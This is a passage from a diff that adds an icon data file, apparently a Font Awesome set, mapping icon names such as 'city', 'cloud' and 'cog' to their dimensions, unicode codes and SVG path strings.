55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z"], + "city": [640, 512, [], "f64f", "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z"], + "clinic-medical": [576, 512, [], "f7f2", "M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z"], + "clipboard": [384, 512, [], "f328", "M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z"], + "clipboard-check": [384, 512, [], "f46c", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z"], + "clipboard-list": [384, 512, [], "f46d", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"], + "clock": [512, 512, [], "f017", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z"], + "clone": [512, 512, [], "f24d", "M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z"], + "closed-captioning": [512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z"], + "cloud": [640, 512, [], "f0c2", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z"], + "cloud-download-alt": [640, 512, [], "f381", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z"], + "cloud-meatball": [512, 512, [], "f73b", "M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z"], + "cloud-moon": [576, 512, [], "f6c3", "M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z"], + "cloud-moon-rain": [576, 512, [], "f73c", "M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"], + "cloud-rain": [512, 512, [], "f73d", "M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z"], + "cloud-showers-heavy": [512, 512, [], "f740", "M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z"], + "cloud-sun": [640, 512, [], "f6c4", "M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z"], + "cloud-sun-rain": [576, 512, [], "f743", "M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"], + "cloud-upload-alt": [640, 512, [], "f382", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z"], + "cocktail": [576, 512, [], "f561", "M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z"], + "code": [640, 512, [], "f121", "M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z"], + "code-branch": [384, 512, [], "f126", "M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"], + "coffee": [640, 512, [], "f0f4", "M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z"], + "cog": [512, 512, [], "f013", "M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "cogs": [640, 512, [], "f085", "M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z"], + "coins": [512, 512, [], "f51e", "M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z"], + "columns": [512, 512, [], "f0db", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z"], + "comment": [512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 